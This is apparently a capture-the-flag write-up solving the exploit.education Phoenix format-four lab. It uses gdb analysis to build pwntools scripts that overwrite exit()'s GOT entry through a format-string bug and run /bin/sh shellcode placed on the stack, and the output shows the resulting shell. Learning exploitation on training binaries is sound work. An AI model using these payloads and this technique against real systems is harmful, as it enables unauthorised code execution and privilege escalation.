phoenix - format 4

7 minute read

Lets list our files using ls -la,

user@phoenix-amd64:~$ ls -la
total 28
drwxr-xr-x 2 user user 4096 Jun 16 05:30 .
drwxr-xr-x 3 root root 4096 Jan 13  2019 ..
-rw-r--r-- 1 user user  220 Jan 13  2019 .bash_logout
-rw-r--r-- 1 user user 3526 Jan 13  2019 .bashrc
-rw-r--r-- 1 user user  675 Jan 13  2019 .profile
-rwxr-xr-x 1 user user 6072 Jun 16 05:30 format-four

Lets analyse the file type of the binary using file command,

user@phoenix-amd64:~$ file format-four
format-four: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /opt/phoenix/i486-linux-musl/lib/ld-musl-i386.so.1, not stripped

So our binary is a not stripped binary

Lets try running our binary,

user@phoenix-amd64:~$ ./format-four
Welcome to phoenix/format-four, brought to you by https://exploit.education
monish
monish

It returns the same input from bounce() function (previously solved), so it expects a different input

From the challenge description,

/*
 * phoenix/format-four, by https://exploit.education
 *
 * Can you affect code execution? Once you've got congratulations() to
 * execute, can you then execute your own shell code?
 *
 * Did you get a hair cut?
 * No, I got all of them cut.
 *
 */

It seems like we have to make use of GOT and shellcode

We are trying this on our 32 bit binary, because our 64 bit binary has null bytes \x00 in its address values

Here, GOT Overwrite can only be used to redirect our function from a targeted GOT address

But inorder to run our shellcode we need to point the shellcode address to our targeted GOT address

Lets find the GOT addresses used by our binary,

user@phoenix-amd64:~$ objdump format-four -R

format-four:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
080497d8 R_386_JUMP_SLOT   printf
080497dc R_386_JUMP_SLOT   puts
080497e0 R_386_JUMP_SLOT   read
080497e4 R_386_JUMP_SLOT   exit
080497e8 R_386_JUMP_SLOT   __libc_start_main

Lets disassemble our binary and get some information,

Listing functions inside our binary,

(gdb) info functions
All defined functions:

Non-debugging symbols:
0x080482d8  _init
0x08048300  printf@plt
0x08048310  puts@plt
0x08048320  read@plt
0x08048330  exit@plt
0x08048340  __libc_start_main@plt
0x08048350  _start
0x0804836b  _start_c
0x08048390  deregister_tm_clones
0x080483d0  register_tm_clones
0x08048420  __do_global_dtors_aux
0x080484a0  frame_dummy
0x080484e5  bounce
0x08048503  congratulations
0x08048523  main
0x08048590  __do_global_ctors_aux
0x080485c1  _fini

Disassembling main(),

(gdb) disas main
Dump of assembler code for function main:
   0x08048523 <+0>:	lea    ecx,[esp+0x4]
   0x08048527 <+4>:	and    esp,0xfffffff0
   0x0804852a <+7>:	push   DWORD PTR [ecx-0x4]
   0x0804852d <+10>:	push   ebp
   0x0804852e <+11>:	mov    ebp,esp
   0x08048530 <+13>:	push   ecx
   0x08048531 <+14>:	sub    esp,0x1004
   0x08048537 <+20>:	sub    esp,0xc
   0x0804853a <+23>:	push   0x8048600
   0x0804853f <+28>:	call   0x8048310 <puts@plt>
   0x08048544 <+33>:	add    esp,0x10
   0x08048547 <+36>:	sub    esp,0x4
   0x0804854a <+39>:	push   0xfff
   0x0804854f <+44>:	lea    eax,[ebp-0x1008]
   0x08048555 <+50>:	push   eax
   0x08048556 <+51>:	push   0x0
   0x08048558 <+53>:	call   0x8048320 <read@plt>
   0x0804855d <+58>:	add    esp,0x10
   0x08048560 <+61>:	test   eax,eax
   0x08048562 <+63>:	jg     0x804856e <main+75>
   0x08048564 <+65>:	sub    esp,0xc
   0x08048567 <+68>:	push   0x1
   0x08048569 <+70>:	call   0x8048330 <exit@plt>
   0x0804856e <+75>:	sub    esp,0xc
   0x08048571 <+78>:	lea    eax,[ebp-0x1008]
   0x08048577 <+84>:	push   eax
   0x08048578 <+85>:	call   0x80484e5 <bounce>
   0x0804857d <+90>:	add    esp,0x10
   0x08048580 <+93>:	mov    eax,0x0
   0x08048585 <+98>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x08048588 <+101>:	leave
   0x08048589 <+102>:	lea    esp,[ecx-0x4]
   0x0804858c <+105>:	ret
End of assembler dump.

Disassembling bounce(),

(gdb) disas bounce
Dump of assembler code for function bounce:
   0x080484e5 <+0>:	push   ebp
   0x080484e6 <+1>:	mov    ebp,esp
   0x080484e8 <+3>:	sub    esp,0x8
   0x080484eb <+6>:	sub    esp,0xc
   0x080484ee <+9>:	push   DWORD PTR [ebp+0x8]
   0x080484f1 <+12>:	call   0x8048300 <printf@plt>
   0x080484f6 <+17>:	add    esp,0x10
   0x080484f9 <+20>:	sub    esp,0xc
   0x080484fc <+23>:	push   0x0
   0x080484fe <+25>:	call   0x8048330 <exit@plt>
End of assembler dump.

Disassembling congratulations(),

(gdb) disas congratulations
Dump of assembler code for function congratulations:
   0x08048503 <+0>:	push   ebp
   0x08048504 <+1>:	mov    ebp,esp
   0x08048506 <+3>:	sub    esp,0x8
   0x08048509 <+6>:	sub    esp,0xc
   0x0804850c <+9>:	push   0x80485d0
   0x08048511 <+14>:	call   0x8048310 <puts@plt>
   0x08048516 <+19>:	add    esp,0x10
   0x08048519 <+22>:	sub    esp,0xc
   0x0804851c <+25>:	push   0x0
   0x0804851e <+27>:	call   0x8048330 <exit@plt>
End of assembler dump.

So this function uses read() to get data in buffer

Buffer space is allocated by 0x0804854f <+44>: lea eax,[ebp-0x1008]

Lets find the address of buffer,

(gdb) b *0x08048578
Breakpoint 1 at 0x8048578
(gdb) r
Starting program: /opt/phoenix/i486/format-four
Welcome to phoenix/format-four, brought to you by https://exploit.education
ABCD

Breakpoint 1, 0x08048578 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffc710    "ABCD"
$ebx   : 0xf7ffb000    0x0008dedc
$ecx   : 0xffffc710    "ABCD"
$edx   : 0xfff
$esp   : 0xffffc700    0xffffc710    "ABCD"
$ebp   : 0xffffd718    0xffffd7ac    0xffffd8da    "LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so[...]"
$esi   : 0xffffd7a4    0xffffd8bc    "/opt/phoenix/i486/format-four"
$edi   : 0x1
$eip   : 0x08048578    0xffff68e8    0x00000000
$eflags: [carry parity ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffc700+0x0000: 0xffffc710    "ABCD"	  $esp
0xffffc704+0x0004: 0xffffc710    "ABCD"
0xffffc708+0x0008: 0x00000fff
0xffffc70c+0x000c: 0x00000000
0xffffc710+0x0010: "ABCD"
0xffffc714+0x0014: 0x0000000a
0xffffc718+0x0018: 0x00000000
0xffffc71c+0x001c: 0x00000000
─────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x804856e <main+75>        sub    esp, 0xc
    0x8048571 <main+78>        lea    eax, [ebp-0x1008]
    0x8048577 <main+84>        push   eax
   0x8048578 <main+85>        call   0x80484e5 <bounce>
      0x80484e5 <bounce+0>       push   ebp
       0x80484e6 <bounce+1>       mov    ebp, esp
       0x80484e8 <bounce+3>       sub    esp, 0x8
       0x80484eb <bounce+6>       sub    esp, 0xc
       0x80484ee <bounce+9>       push   DWORD PTR [ebp+0x8]
       0x80484f1 <bounce+12>      call   0x8048300 <printf@plt>
─────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
bounce (
   [sp + 0x0] = 0xffffc710  "ABCD",
   [sp + 0x4] = 0xffffc710  "ABCD",
   [sp + 0x8] = 0x00000fff,
   [sp + 0xc] = 0x00000000
)
─────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "format-four", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048578  main()
────────────────────────────────────────────────────────────────────────────────────────────────────

(gdb) x/s $ebp-0x1008
0xffffc710:	"ABCD\n"

So our buffer starts at 0xffffc710

If we pass our shellcode into the buffer, we should point it here to make a successful exploit

Lets check the security mitigations of this binary,

(gdb) vmmap
Start      End        Offset     Perm Path
0x08048000 0x08049000 0x00000000 r-x /opt/phoenix/i486/format-four
0x08049000 0x0804a000 0x00000000 rwx /opt/phoenix/i486/format-four
0xf7f69000 0xf7f6b000 0x00000000 r-- [vvar]
0xf7f6b000 0xf7f6d000 0x00000000 r-x [vdso]
0xf7f6d000 0xf7ffa000 0x00000000 r-x /opt/phoenix/i486-linux-musl/lib/libc.so
0xf7ffa000 0xf7ffb000 0x0008c000 r-x /opt/phoenix/i486-linux-musl/lib/libc.so
0xf7ffb000 0xf7ffc000 0x0008d000 rwx /opt/phoenix/i486-linux-musl/lib/libc.so
0xf7ffc000 0xf7ffe000 0x00000000 rwx
0xfffdd000 0xffffe000 0x00000000 rwx [stack]

(gdb) checksec
[+] checksec for '/home/user/format-four'
Canary                        : No
NX                            : No
PIE                           : No
Fortify                       : No
RelRO                         : No

So our buffer address 0xffffc710 lies in the region of stack and NX bit is disabled

It is perfect to have execution of our shellcode in buffer

Lets view the source code for proper understanding,

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

void bounce(char *str) {
  printf(str);
  exit(0);
}

void congratulations() {
  printf("Well done, you're redirected code execution!\n");
  exit(0);
}

int main(int argc, char **argv) {
  char buf[4096];

  printf("%s\n", BANNER);

  if (read(0, buf, sizeof(buf) - 1) <= 0) {
    exit(EXIT_FAILURE);
  }

  bounce(buf);
}

Here GOT address of exit() would be best to use, because it is called after performing all our needs

GOT OVERWRITE

Lets overwrite GOT address of exit() with function address of congratulations() to call it

GOT address of exit() = 0x080497e4

Function address of congratulations() = 0x08048503

Lets try to write it with the exploit technique used in previous challenge

user@phoenix-amd64:~$ cat exploit.py
from pwn import *
got_exit=0x080497e4
#got_exit=0x08049844
cong_addr=0x08048503
buf=""
buf+=p32(got_exit)
buf+=p32(got_exit+0x1)
buf+=p32(got_exit+0x2)
buf+=p32(got_exit+0x3)
buf+='%p'*11
buf+='A'*175
buf+='%n'
buf+='A'*130
buf+='%n'
buf+='A'*127
buf+='%n'
buf+='A'*4
buf+='%n'
print(buf)

Lets see, if this overwrites the exit() GOT address with congratulations(),

user@phoenix-amd64:~$ python exploit.py | ./format-four
Welcome to phoenix/format-four, brought to you by https://exploit.education
0000xf7f81cf70xf7ffb0000xffffd7580x804857d0xffffc7500xffffc7500xfff0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Well done, you're redirected code execution!
Well done, you're redirected code execution!
Well done, you're redirected code execution!
Well done, you're redirected code execution!
Well done, you're redirected code execution!
Well done, you're redirected code execution!
Well done, you're redirected code execution!

.....

It does!!

SHELLCODE

Now lets place our shellcode and change the address values,

To spawn a shell lets use

 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80

Lets craft the exploit,

user@phoenix-amd64:~$ cat exploit.py
from pwn import *
got_exit=0x080497e4
#got_exit=0x08049844
buffer_addr=0xffffc710
nops='\x90'
shellcode='\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'
buf=""
buf+=p32(got_exit)
buf+=p32(got_exit+0x1)
buf+=p32(got_exit+0x2)
buf+=p32(got_exit+0x3)
buf+=nops*100
buf+=shellcode
buf+='%p'*11
buf+='A'*124
buf+='%n'
buf+='A'*119
buf+='%n'
buf+='A'*56
buf+='%n'
buf+='A'*256
buf+='%n'
print(buf)

Lets try running this,

user@phoenix-amd64:~$ cp exploit.py /tmp
user@phoenix-amd64:~$ (python /tmp/exploit.py;cat) | /opt/phoenix/i486/format-four
Welcome to phoenix/format-four, brought to you by https://exploit.education
1Ph//shh/bin�°
              ̀10000xf7f81cf70xf7ffb0000xffffd7180x804857d0xffffc7100xffffc7100xfff0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
id
uid=1000(user) gid=1000(user) euid=511(phoenix-i386-format-four) egid=511(phoenix-i386-format-four) groups=511(phoenix-i386-format-four),27(sudo),1000(user)
whoami
phoenix-i386-format-four

Done! We have completed “format-four” challenge